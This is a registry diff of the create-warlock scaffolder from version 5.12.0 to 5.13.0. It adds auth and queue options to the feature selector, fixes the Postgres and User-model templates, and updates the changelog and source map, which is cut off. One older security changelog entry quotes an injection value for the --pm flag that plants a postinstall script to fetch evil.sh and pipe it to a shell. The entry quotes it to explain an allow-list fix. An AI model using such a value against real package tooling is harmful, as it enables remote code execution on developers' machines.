create-warlock 5.12.0 → 5.13.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +15 -3
- package/esm/features/features-map.mjs +18 -0
- package/esm/features/features-map.mjs.map +1 -1
- package/package.json +2 -2
- package/templates/warlock/src/app/users/models/user/migrations/11-12-2025_23-58-03-user.migration.ts +1 -0
- package/templates/warlock/src/app/users/models/user/user.model.ts +4 -1
- package/templates/warlock/src/config/database.postgres.ts +4 -0
package/CHANGELOG.md
CHANGED
|
@@ -4,6 +4,18 @@ All notable changes to `create-warlock` are documented in this file.
|
|
|
4
4
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). `@warlock.js/*` packages are released in lockstep — every package shares the same version number, so a version below may list only the changes that affected this package.
|
|
6
6
|
|
|
7
|
+
## 5.13.0 - 2026-09-17
|
|
8
|
+
|
|
9
|
+
### Added
|
|
10
|
+
|
|
11
|
+
- The optional-feature selector now offers Google sign-in, passkey sign-in, and durable Redis-backed BullMQ queues.
|
|
12
|
+
|
|
13
|
+
### Fixed
|
|
14
|
+
|
|
15
|
+
- A `--db=postgres` scaffold shipped `src/config/database.ts` with an empty `clientOptions: {}`. Cascade's `PostgresPoolConfig` extends `PostgresConnectionConfig`, whose `database` field is required (not optional, unlike Mongo's `MongoClientOptions`), so `{}` failed `tsc --noEmit` on that exact line before a single line of app code ran. `templates/warlock/src/config/database.postgres.ts` now sets `database` inside `clientOptions` too. Verified against a real `npm create warlock@5.12.0 --stack=web --db=postgres --jwt` scaffold installed from the registry: this was the only `tsc` error once devDependencies installed correctly (see below), and it is gone after the fix. Guarded by a new static check in `specs/template-integrity.spec.ts`.
|
|
16
|
+
- Investigated a separate report that a `--stack=web --db=postgres --jwt` scaffold lacked `@warlock.js/web` and `@types/react`/`@types/react-dom`. **Not reproducible** against the published 5.12.0 template: `package.json` lists all three correctly, and a clean install (`npm ci` with `NODE_ENV` unset) installs them. The only way to reproduce the missing `@types/*` packages was installing with `NODE_ENV=production` set, which makes npm skip `devDependencies` entirely — an environment condition on the installing machine, not a scaffold defect. No template change made for this report.
|
|
17
|
+
- The scaffolded `User` model's `verified` scope queried a boolean `emailVerified` column that has never existed in the template's schema or migration. `@warlock.js/auth`'s email verification (added in 5.13.0) stamps `emailVerifiedAt` (a nullable `Date`) instead, treating "verified" as the field holding a value. `templates/warlock/src/app/users/models/user/user.model.ts` now declares `emailVerifiedAt: v.date().optional()` on the schema and scopes `verified` via `query.whereNotNull("emailVerifiedAt")`; the user migration adds the matching nullable `timestamp()` column. Guarded by new checks in `specs/template-integrity.spec.ts`.
|
|
18
|
+
|
|
7
19
|
## 5.12.0 - 2026-09-16
|
|
8
20
|
|
|
9
21
|
### Changed
|
|
@@ -138,11 +150,11 @@ No changes to `create-warlock`. Released in lockstep with the `@warlock.js/web`
|
|
|
138
150
|
### Fixed
|
|
139
151
|
|
|
140
152
|
- **The `warlock` binary was never linked in a yarn-1 scaffold.** Installing the batched
|
|
141
|
-
features under yarn 1 hit an
|
|
153
|
+
features under yarn 1 hit an _Invariant Violation_ in yarn's linker, which aborted the
|
|
142
154
|
install before `node_modules/.bin` was written — leaving a scaffolded project whose
|
|
143
155
|
own `warlock` command did not exist. `App.pinViteResolution()` now writes matching
|
|
144
156
|
`resolutions` and `overrides` entries for vite into the generated `package.json`
|
|
145
|
-
|
|
157
|
+
_before_ the batched feature install runs, so a single vite version is resolved and
|
|
146
158
|
the linker completes.
|
|
147
159
|
|
|
148
160
|
## 5.0.0 - 2026-08-25
|
|
@@ -160,7 +172,7 @@ No changes to `create-warlock`. Released in lockstep with the `@warlock.js/web`
|
|
|
160
172
|
|
|
161
173
|
### Security
|
|
162
174
|
|
|
163
|
-
- **`--pm` is now validated against an allow-list (`npm`/`yarn`/`pnpm`/`bun`) before it reaches anything.** Previously an arbitrary `--pm` string flowed straight into `spawn()` as the executable to run
|
|
175
|
+
- **`--pm` is now validated against an allow-list (`npm`/`yarn`/`pnpm`/`bun`) before it reaches anything.** Previously an arbitrary `--pm` string flowed straight into `spawn()` as the executable to run _and_ was spliced verbatim into the generated `package.json`'s script text before that text is parsed as JSON — a crafted value (e.g. `--pm='pnpm","postinstall":"curl${IFS}evil.sh|sh#'`) could inject a `postinstall` script that the scaffolder's own automatic `install()` step would then execute, or invoke an arbitrary binary on `PATH` outright. `--yes`/non-interactive scaffolds now reject any `--pm` outside the allow-list and exit before the package manager is set, closing both sinks at the source; the interactive prompt was already safe (its options are drawn from the allow-list, never free text).
|
|
164
176
|
|
|
165
177
|
### Dependencies
|
|
166
178
|
|
|
@@ -11,6 +11,18 @@ const features = [
|
|
|
11
11
|
hint: "RBAC permission checks, ABAC policies, and roles — pairs with auth",
|
|
12
12
|
group: "Auth & Access"
|
|
13
13
|
},
|
|
14
|
+
{
|
|
15
|
+
key: "auth-google",
|
|
16
|
+
label: "Google sign-in",
|
|
17
|
+
hint: "Google OAuth sign-in for @warlock.js/auth",
|
|
18
|
+
group: "Auth & Access"
|
|
19
|
+
},
|
|
20
|
+
{
|
|
21
|
+
key: "auth-passkeys",
|
|
22
|
+
label: "Passkey sign-in",
|
|
23
|
+
hint: "WebAuthn passkey login for @warlock.js/auth",
|
|
24
|
+
group: "Auth & Access"
|
|
25
|
+
},
|
|
14
26
|
{
|
|
15
27
|
key: "web",
|
|
16
28
|
label: "Web (SSR React pages)",
|
|
@@ -78,6 +90,12 @@ const features = [
|
|
|
78
90
|
hint: "Background tasks and cron jobs",
|
|
79
91
|
group: "Jobs & Messaging"
|
|
80
92
|
},
|
|
93
|
+
{
|
|
94
|
+
key: "queue",
|
|
95
|
+
label: "Queue (BullMQ)",
|
|
96
|
+
hint: "Durable Redis-backed background jobs with retries and workers",
|
|
97
|
+
group: "Jobs & Messaging"
|
|
98
|
+
},
|
|
81
99
|
{
|
|
82
100
|
key: "herald",
|
|
83
101
|
label: "Herald (RabbitMQ)",
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"features-map.mjs","names":[],"sources":["../../../../../../create-warlock/src/features/features-map.ts"],"sourcesContent":["/**\r\n * Presentation manifest for the scaffolder's feature prompts.\r\n *\r\n * This file is **display metadata only** — keys, labels, hints, grouping, and\r\n * default selections. It deliberately holds NO dependency names or versions:\r\n * the single source of truth for what each feature installs is the `add`\r\n * command's feature map in `@warlock.js/core`\r\n * (`src/generations/add-command.action.ts`). The scaffolder collects the\r\n * selections here and delegates the actual install to `warlock add`, so the\r\n * two never drift on versions again.\r\n *\r\n * Every `key` below MUST exist in core’s `allowedFeatures`. That guard now\r\n * EXISTS: `builder/scripts/check-feature-parity.ts`, run by every publishing\r\n * script in `builder/package.json`, so a release aborts before `pkgist` starts.\r\n * It could not live in this repo: this package deliberately does not depend on\r\n * `@warlock.js/core`, and our own CI checks out only this repo, so core’s keys\r\n * are not present here to compare against. `builder` sits above both and\r\n * imports each by relative path, adding no dependency edge in either direction.\r\n *\r\n * A subset assertion ALONE is not enough and has already let a\r\n * bug ship: `--features=web,tailwind` was rejected with \"Unknown feature(s):\r\n * tailwind\" because `tailwind` and `shadcn` existed in core and were missing\r\n * from THIS file — a direction a scaffolder ⊆ core check cannot see. The guard\r\n * has to run both ways:\r\n *\r\n * 1. scaffolder ⊆ core — catches a typo or a key core renamed.\r\n * 2. core ⊆ scaffolder + an explicit omission list — catches a feature core\r\n * gained that never became scaffoldable.\r\n *\r\n * The two lists are not equal and should not be forced to be. As of this\r\n * writing core holds 28 keys and this file offers 24; the other four are\r\n * deliberate and are the entire allow-list direction (2) needs:\r\n * `mongodb`, `postgres`, `mysql` (the database driver has its own select) and\r\n * `ai` (pulled automatically by every `ai-*` key's `requires`). Anything beyond\r\n * those four is a gap, not a decision, and should fail the build.\r\n */\r\n\r\nexport type FeatureGroup =\r\n | \"Auth & Access\"\r\n | \"Rendering & Mail\"\r\n | \"Media\"\r\n | \"Storage & Cache\"\r\n | \"Jobs & Messaging\"\r\n | \"Realtime\"\r\n | \"API Docs\"\r\n | \"Tooling\";\r\n\r\nexport type FeatureOption = {\r\n /** Must match a key in core's `add` feature map. */\r\n key: string;\r\n label: string;\r\n hint: string;\r\n group: FeatureGroup;\r\n defaultSelected?: boolean;\r\n};\r\n\r\n/**\r\n * Optional features offered in the general multiselect step. The database\r\n * driver (its own select) and AI providers + capability packages (their own\r\n * step) are intentionally NOT here — they have dedicated prompts.\r\n */\r\nexport const features: FeatureOption[] = [\r\n // Auth & Access\r\n {\r\n key: \"access\",\r\n label: \"Access (authorization)\",\r\n hint: \"RBAC permission checks, ABAC policies, and roles — pairs with auth\",\r\n group: \"Auth & Access\",\r\n },\r\n\r\n // Rendering & Mail\r\n {\r\n key: \"web\",\r\n label: \"Web (SSR React pages)\",\r\n hint: \"Server-rendered React pages on the same server as your API — scaffolds src/web and registers the connector\",\r\n group: \"Rendering & Mail\",\r\n },\r\n {\r\n key: \"tailwind\",\r\n label: \"Tailwind CSS\",\r\n hint: \"Tailwind v4 for the SSR page layer — creates src/web/app.css (the CSS-first config) and wires it through Vite (pulls web)\",\r\n group: \"Rendering & Mail\",\r\n },\r\n {\r\n key: \"shadcn\",\r\n label: \"shadcn/ui prerequisites\",\r\n hint: \"components.json, cn(), design tokens, and the web/* tsconfig path so `npx shadcn add <component>` works first time (pulls tailwind)\",\r\n group: \"Rendering & Mail\",\r\n },\r\n {\r\n key: \"react\",\r\n label: \"React (rendering & mails)\",\r\n hint: \"React + ReactDOM for non-interactive rendering and HTML/email generation\",\r\n group: \"Rendering & Mail\",\r\n defaultSelected: true,\r\n },\r\n {\r\n key: \"react-email\",\r\n label: \"React Email\",\r\n hint: \"Build email templates with React + Tailwind (pulls react + mail)\",\r\n group: \"Rendering & Mail\",\r\n },\r\n {\r\n key: \"mail\",\r\n label: \"Mail (Nodemailer)\",\r\n hint: \"Send emails via SMTP\",\r\n group: \"Rendering & Mail\",\r\n },\r\n {\r\n key: \"ses\",\r\n label: \"Amazon SES\",\r\n hint: \"Send emails via the AWS SES API\",\r\n group: \"Rendering & Mail\",\r\n },\r\n\r\n // Media\r\n {\r\n key: \"image\",\r\n label: \"Image processing (Sharp)\",\r\n hint: \"Resize, convert, and optimize images\",\r\n group: \"Media\",\r\n },\r\n\r\n // Storage & Cache\r\n {\r\n key: \"s3\",\r\n label: \"S3 storage\",\r\n hint: \"AWS S3 for cloud file storage\",\r\n group: \"Storage & Cache\",\r\n },\r\n {\r\n key: \"redis\",\r\n label: \"Redis cache\",\r\n hint: \"Redis driver for the cache layer\",\r\n group: \"Storage & Cache\",\r\n },\r\n\r\n // Jobs & Messaging\r\n {\r\n key: \"scheduler\",\r\n label: \"Scheduler\",\r\n hint: \"Background tasks and cron jobs\",\r\n group: \"Jobs & Messaging\",\r\n },\r\n {\r\n key: \"herald\",\r\n label: \"Herald (RabbitMQ)\",\r\n hint: \"Message broker for event-driven architecture\",\r\n group: \"Jobs & Messaging\",\r\n },\r\n {\r\n key: \"notifications\",\r\n label: \"Notifications\",\r\n hint: \"Multi-channel notifications — mail + in-app database, preferences, idempotency\",\r\n group: \"Jobs & Messaging\",\r\n },\r\n\r\n // Realtime\r\n {\r\n key: \"socket\",\r\n label: \"Socket.IO\",\r\n hint: \"Realtime websocket server\",\r\n group: \"Realtime\",\r\n },\r\n\r\n // API Docs (swagger / postman / openapi) — not shipped yet; they will arrive\r\n // together in the unified @warlock.js/api-docs package. Re-add the selection\r\n // once that package exists. (Removed so the wizard can't offer unbuilt features.)\r\n\r\n // Tooling\r\n {\r\n key: \"test\",\r\n label: \"Testing (Vitest)\",\r\n hint: \"Vitest + coverage + per-worker DB/cache test setup\",\r\n group: \"Tooling\",\r\n },\r\n];\r\n\r\nexport type AiProviderOption = {\r\n /** Must match a provider/package key in core's `add` feature map. */\r\n key: string;\r\n label: string;\r\n hint: string;\r\n};\r\n\r\n/**\r\n * AI providers offered in the dedicated AI step. Selecting any of these pulls\r\n * the core `@warlock.js/ai` package automatically via the provider's `requires`\r\n * in core's feature map — the scaffolder never lists `ai` as a standalone pick.\r\n *\r\n * Keys are `ai-`prefixed to mirror core's renamed provider feature keys\r\n * (`ai-openai` → `@warlock.js/ai-openai`, etc.).\r\n */\r\nexport const aiProviders: AiProviderOption[] = [\r\n { key: \"ai-openai\", label: \"OpenAI\", hint: \"GPT models via the OpenAI API\" },\r\n { key: \"ai-google\", label: \"Google (Gemini)\", hint: \"Gemini models via Google AI\" },\r\n { key: \"ai-anthropic\", label: \"Anthropic (Claude)\", hint: \"Claude models via the Anthropic API\" },\r\n { key: \"ai-bedrock\", label: \"AWS Bedrock\", hint: \"Foundation models via Amazon Bedrock\" },\r\n { key: \"ai-ollama\", label: \"Ollama\", hint: \"Local models via Ollama\" },\r\n];\r\n\r\n/**\r\n * AI capability packages offered alongside the providers in the dedicated AI\r\n * step. These are the satellite packages that sit on top of the core\r\n * `@warlock.js/ai` toolkit (each pulls the core `ai` package via its `requires`\r\n * in core's feature map, same as the providers).\r\n */\r\nexport const aiPackages: AiProviderOption[] = [\r\n {\r\n key: \"ai-tools\",\r\n label: \"AI Tools\",\r\n hint: \"Ready-made agent tools (web search, fetch, HTTP, calculator, date-time) + MCP client/server\",\r\n },\r\n {\r\n key: \"ai-panoptic\",\r\n label: \"AI Observability (Panoptic)\",\r\n hint: \"Tracing + exporters + a zero-setup local dashboard\",\r\n },\r\n {\r\n key: \"ai-workspace\",\r\n label: \"AI Workspace\",\r\n hint: \"Policy-jailed filesystem + shell for coding agents\",\r\n },\r\n];\r\n\r\n/**\r\n * Feature options for the multiselect prompt, ordered by group with the group\r\n * surfaced in the hint (keeps a flat list scannable without group widgets).\r\n */\r\nexport function getFeatureOptions() {\r\n return features.map(feature => ({\r\n value: feature.key,\r\n label: feature.label,\r\n hint: `${feature.group} — ${feature.hint}`,\r\n }));\r\n}\r\n\r\n/**\r\n * Keys pre-checked in the feature multiselect.\r\n */\r\nexport function getDefaultFeatureKeys(): string[] {\r\n return features.filter(feature => feature.defaultSelected).map(feature => feature.key);\r\n}\r\n\r\n/**\r\n * AI provider options for the dedicated AI multiselect step.\r\n */\r\nexport function getAiProviderOptions() {\r\n return aiProviders.map(provider => ({\r\n value: provider.key,\r\n label: provider.label,\r\n hint: provider.hint,\r\n }));\r\n}\r\n\r\n/**\r\n * AI capability package options for the dedicated AI multiselect step. Offered\r\n * together with the providers (see `getAiProviderOptions`).\r\n */\r\nexport function getAiPackageOptions() {\r\n return aiPackages.map(pkg => ({\r\n value: pkg.key,\r\n label: pkg.label,\r\n hint: pkg.hint,\r\n }));\r\n}\r\n\r\n/**\r\n * Every selectable key the scaffolder knows about (features + AI providers +\r\n * AI capability packages). Used to validate `--features` / `--ai` flags in\r\n * non-interactive mode.\r\n */\r\nexport function getAllFeatureKeys(): string[] {\r\n return [\r\n ...features.map(feature => feature.key),\r\n ...aiProviders.map(provider => provider.key),\r\n ...aiPackages.map(pkg => pkg.key),\r\n ];\r\n}\r\n"],"mappings":";;;;;;AA6DA,MAAa,WAA4B;CAEvC;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;EACP,iBAAiB;CACnB;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAOA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;AACF;;;;;;;;;AAiBA,MAAa,cAAkC;CAC7C;EAAE,KAAK;EAAa,OAAO;EAAU,MAAM;CAAgC;CAC3E;EAAE,KAAK;EAAa,OAAO;EAAmB,MAAM;CAA8B;CAClF;EAAE,KAAK;EAAgB,OAAO;EAAsB,MAAM;CAAsC;CAChG;EAAE,KAAK;EAAc,OAAO;EAAe,MAAM;CAAuC;CACxF;EAAE,KAAK;EAAa,OAAO;EAAU,MAAM;CAA0B;AACvE;;;;;;;AAQA,MAAa,aAAiC;CAC5C;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;AACF;;;;;AAMA,SAAgB,oBAAoB;CAClC,OAAO,SAAS,KAAI,aAAY;EAC9B,OAAO,QAAQ;EACf,OAAO,QAAQ;EACf,MAAM,GAAG,QAAQ,MAAM,KAAK,QAAQ;CACtC,EAAE;AACJ;;;;AAKA,SAAgB,wBAAkC;CAChD,OAAO,SAAS,QAAO,YAAW,QAAQ,eAAe,CAAC,CAAC,KAAI,YAAW,QAAQ,GAAG;AACvF;;;;AAKA,SAAgB,uBAAuB;CACrC,OAAO,YAAY,KAAI,cAAa;EAClC,OAAO,SAAS;EAChB,OAAO,SAAS;EAChB,MAAM,SAAS;CACjB,EAAE;AACJ;;;;;AAMA,SAAgB,sBAAsB;CACpC,OAAO,WAAW,KAAI,SAAQ;EAC5B,OAAO,IAAI;EACX,OAAO,IAAI;EACX,MAAM,IAAI;CACZ,EAAE;AACJ;;;;;;AAOA,SAAgB,oBAA8B;CAC5C,OAAO;EACL,GAAG,SAAS,KAAI,YAAW,QAAQ,GAAG;EACtC,GAAG,YAAY,KAAI,aAAY,SAAS,GAAG;EAC3C,GAAG,WAAW,KAAI,QAAO,IAAI,GAAG;CAClC;AACF"}
|
|
1
|
+
{"version":3,"file":"features-map.mjs","names":[],"sources":["../../../../../../create-warlock/src/features/features-map.ts"],"sourcesContent":["/**\r\n * Presentation manifest for the scaffolder's feature prompts.\r\n *\r\n * This file is **display metadata only** — keys, labels, hints, grouping, and\r\n * default selections. It deliberately holds NO dependency names or versions:\r\n * the single source of truth for what each feature installs is the `add`\r\n * command's feature map in `@warlock.js/core`\r\n * (`src/generations/add-command.action.ts`). The scaffolder collects the\r\n * selections here and delegates the actual install to `warlock add`, so the\r\n * two never drift on versions again.\r\n *\r\n * Every `key` below MUST exist in core’s `allowedFeatures`. That guard now\r\n * EXISTS: `builder/scripts/check-feature-parity.ts`, run by every publishing\r\n * script in `builder/package.json`, so a release aborts before `pkgist` starts.\r\n * It could not live in this repo: this package deliberately does not depend on\r\n * `@warlock.js/core`, and our own CI checks out only this repo, so core’s keys\r\n * are not present here to compare against. `builder` sits above both and\r\n * imports each by relative path, adding no dependency edge in either direction.\r\n *\r\n * A subset assertion ALONE is not enough and has already let a\r\n * bug ship: `--features=web,tailwind` was rejected with \"Unknown feature(s):\r\n * tailwind\" because `tailwind` and `shadcn` existed in core and were missing\r\n * from THIS file — a direction a scaffolder ⊆ core check cannot see. The guard\r\n * has to run both ways:\r\n *\r\n * 1. scaffolder ⊆ core — catches a typo or a key core renamed.\r\n * 2. core ⊆ scaffolder + an explicit omission list — catches a feature core\r\n * gained that never became scaffoldable.\r\n *\r\n * The two lists are not equal and should not be forced to be. As of this\r\n * writing core holds 28 keys and this file offers 24; the other four are\r\n * deliberate and are the entire allow-list direction (2) needs:\r\n * `mongodb`, `postgres`, `mysql` (the database driver has its own select) and\r\n * `ai` (pulled automatically by every `ai-*` key's `requires`). Anything beyond\r\n * those four is a gap, not a decision, and should fail the build.\r\n */\r\n\r\nexport type FeatureGroup =\r\n | \"Auth & Access\"\r\n | \"Rendering & Mail\"\r\n | \"Media\"\r\n | \"Storage & Cache\"\r\n | \"Jobs & Messaging\"\r\n | \"Realtime\"\r\n | \"API Docs\"\r\n | \"Tooling\";\r\n\r\nexport type FeatureOption = {\r\n /** Must match a key in core's `add` feature map. */\r\n key: string;\r\n label: string;\r\n hint: string;\r\n group: FeatureGroup;\r\n defaultSelected?: boolean;\r\n};\r\n\r\n/**\r\n * Optional features offered in the general multiselect step. The database\r\n * driver (its own select) and AI providers + capability packages (their own\r\n * step) are intentionally NOT here — they have dedicated prompts.\r\n */\r\nexport const features: FeatureOption[] = [\r\n // Auth & Access\r\n {\r\n key: \"access\",\r\n label: \"Access (authorization)\",\r\n hint: \"RBAC permission checks, ABAC policies, and roles — pairs with auth\",\r\n group: \"Auth & Access\",\r\n },\r\n {\r\n key: \"auth-google\",\r\n label: \"Google sign-in\",\r\n hint: \"Google OAuth sign-in for @warlock.js/auth\",\r\n group: \"Auth & Access\",\r\n },\r\n {\r\n key: \"auth-passkeys\",\r\n label: \"Passkey sign-in\",\r\n hint: \"WebAuthn passkey login for @warlock.js/auth\",\r\n group: \"Auth & Access\",\r\n },\r\n\r\n // Rendering & Mail\r\n {\r\n key: \"web\",\r\n label: \"Web (SSR React pages)\",\r\n hint: \"Server-rendered React pages on the same server as your API — scaffolds src/web and registers the connector\",\r\n group: \"Rendering & Mail\",\r\n },\r\n {\r\n key: \"tailwind\",\r\n label: \"Tailwind CSS\",\r\n hint: \"Tailwind v4 for the SSR page layer — creates src/web/app.css (the CSS-first config) and wires it through Vite (pulls web)\",\r\n group: \"Rendering & Mail\",\r\n },\r\n {\r\n key: \"shadcn\",\r\n label: \"shadcn/ui prerequisites\",\r\n hint: \"components.json, cn(), design tokens, and the web/* tsconfig path so `npx shadcn add <component>` works first time (pulls tailwind)\",\r\n group: \"Rendering & Mail\",\r\n },\r\n {\r\n key: \"react\",\r\n label: \"React (rendering & mails)\",\r\n hint: \"React + ReactDOM for non-interactive rendering and HTML/email generation\",\r\n group: \"Rendering & Mail\",\r\n defaultSelected: true,\r\n },\r\n {\r\n key: \"react-email\",\r\n label: \"React Email\",\r\n hint: \"Build email templates with React + Tailwind (pulls react + mail)\",\r\n group: \"Rendering & Mail\",\r\n },\r\n {\r\n key: \"mail\",\r\n label: \"Mail (Nodemailer)\",\r\n hint: \"Send emails via SMTP\",\r\n group: \"Rendering & Mail\",\r\n },\r\n {\r\n key: \"ses\",\r\n label: \"Amazon SES\",\r\n hint: \"Send emails via the AWS SES API\",\r\n group: \"Rendering & Mail\",\r\n },\r\n\r\n // Media\r\n {\r\n key: \"image\",\r\n label: \"Image processing (Sharp)\",\r\n hint: \"Resize, convert, and optimize images\",\r\n group: \"Media\",\r\n },\r\n\r\n // Storage & Cache\r\n {\r\n key: \"s3\",\r\n label: \"S3 storage\",\r\n hint: \"AWS S3 for cloud file storage\",\r\n group: \"Storage & Cache\",\r\n },\r\n {\r\n key: \"redis\",\r\n label: \"Redis cache\",\r\n hint: \"Redis driver for the cache layer\",\r\n group: \"Storage & Cache\",\r\n },\r\n\r\n // Jobs & Messaging\r\n {\r\n key: \"scheduler\",\r\n label: \"Scheduler\",\r\n hint: \"Background tasks and cron jobs\",\r\n group: \"Jobs & Messaging\",\r\n },\r\n {\r\n key: \"queue\",\r\n label: \"Queue (BullMQ)\",\r\n hint: \"Durable Redis-backed background jobs with retries and workers\",\r\n group: \"Jobs & Messaging\",\r\n },\r\n {\r\n key: \"herald\",\r\n label: \"Herald (RabbitMQ)\",\r\n hint: \"Message broker for event-driven architecture\",\r\n group: \"Jobs & Messaging\",\r\n },\r\n {\r\n key: \"notifications\",\r\n label: \"Notifications\",\r\n hint: \"Multi-channel notifications — mail + in-app database, preferences, idempotency\",\r\n group: \"Jobs & Messaging\",\r\n },\r\n\r\n // Realtime\r\n {\r\n key: \"socket\",\r\n label: \"Socket.IO\",\r\n hint: \"Realtime websocket server\",\r\n group: \"Realtime\",\r\n },\r\n\r\n // API Docs (swagger / postman / openapi) — not shipped yet; they will arrive\r\n // together in the unified @warlock.js/api-docs package. Re-add the selection\r\n // once that package exists. (Removed so the wizard can't offer unbuilt features.)\r\n\r\n // Tooling\r\n {\r\n key: \"test\",\r\n label: \"Testing (Vitest)\",\r\n hint: \"Vitest + coverage + per-worker DB/cache test setup\",\r\n group: \"Tooling\",\r\n },\r\n];\r\n\r\nexport type AiProviderOption = {\r\n /** Must match a provider/package key in core's `add` feature map. */\r\n key: string;\r\n label: string;\r\n hint: string;\r\n};\r\n\r\n/**\r\n * AI providers offered in the dedicated AI step. Selecting any of these pulls\r\n * the core `@warlock.js/ai` package automatically via the provider's `requires`\r\n * in core's feature map — the scaffolder never lists `ai` as a standalone pick.\r\n *\r\n * Keys are `ai-`prefixed to mirror core's renamed provider feature keys\r\n * (`ai-openai` → `@warlock.js/ai-openai`, etc.).\r\n */\r\nexport const aiProviders: AiProviderOption[] = [\r\n { key: \"ai-openai\", label: \"OpenAI\", hint: \"GPT models via the OpenAI API\" },\r\n {\r\n key: \"ai-google\",\r\n label: \"Google (Gemini)\",\r\n hint: \"Gemini models via Google AI\",\r\n },\r\n {\r\n key: \"ai-anthropic\",\r\n label: \"Anthropic (Claude)\",\r\n hint: \"Claude models via the Anthropic API\",\r\n },\r\n {\r\n key: \"ai-bedrock\",\r\n label: \"AWS Bedrock\",\r\n hint: \"Foundation models via Amazon Bedrock\",\r\n },\r\n { key: \"ai-ollama\", label: \"Ollama\", hint: \"Local models via Ollama\" },\r\n];\r\n\r\n/**\r\n * AI capability packages offered alongside the providers in the dedicated AI\r\n * step. These are the satellite packages that sit on top of the core\r\n * `@warlock.js/ai` toolkit (each pulls the core `ai` package via its `requires`\r\n * in core's feature map, same as the providers).\r\n */\r\nexport const aiPackages: AiProviderOption[] = [\r\n {\r\n key: \"ai-tools\",\r\n label: \"AI Tools\",\r\n hint: \"Ready-made agent tools (web search, fetch, HTTP, calculator, date-time) + MCP client/server\",\r\n },\r\n {\r\n key: \"ai-panoptic\",\r\n label: \"AI Observability (Panoptic)\",\r\n hint: \"Tracing + exporters + a zero-setup local dashboard\",\r\n },\r\n {\r\n key: \"ai-workspace\",\r\n label: \"AI Workspace\",\r\n hint: \"Policy-jailed filesystem + shell for coding agents\",\r\n },\r\n];\r\n\r\n/**\r\n * Feature options for the multiselect prompt, ordered by group with the group\r\n * surfaced in the hint (keeps a flat list scannable without group widgets).\r\n */\r\nexport function getFeatureOptions() {\r\n return features.map(feature => ({\r\n value: feature.key,\r\n label: feature.label,\r\n hint: `${feature.group} — ${feature.hint}`,\r\n }));\r\n}\r\n\r\n/**\r\n * Keys pre-checked in the feature multiselect.\r\n */\r\nexport function getDefaultFeatureKeys(): string[] {\r\n return features\r\n .filter(feature => feature.defaultSelected)\r\n .map(feature => feature.key);\r\n}\r\n\r\n/**\r\n * AI provider options for the dedicated AI multiselect step.\r\n */\r\nexport function getAiProviderOptions() {\r\n return aiProviders.map(provider => ({\r\n value: provider.key,\r\n label: provider.label,\r\n hint: provider.hint,\r\n }));\r\n}\r\n\r\n/**\r\n * AI capability package options for the dedicated AI multiselect step. Offered\r\n * together with the providers (see `getAiProviderOptions`).\r\n */\r\nexport function getAiPackageOptions() {\r\n return aiPackages.map(pkg => ({\r\n value: pkg.key,\r\n label: pkg.label,\r\n hint: pkg.hint,\r\n }));\r\n}\r\n\r\n/**\r\n * Every selectable key the scaffolder knows about (features + AI providers +\r\n * AI capability packages). Used to validate `--features` / `--ai` flags in\r\n * non-interactive mode.\r\n */\r\nexport function getAllFeatureKeys(): string[] {\r\n return [\r\n ...features.map(feature => feature.key),\r\n ...aiProviders.map(provider => provider.key),\r\n ...aiPackages.map(pkg => pkg.key),\r\n ];\r\n}\r\n"],"mappings":";;;;;;AA6DA,MAAa,WAA4B;CAEvC;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;EACP,iBAAiB;CACnB;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EA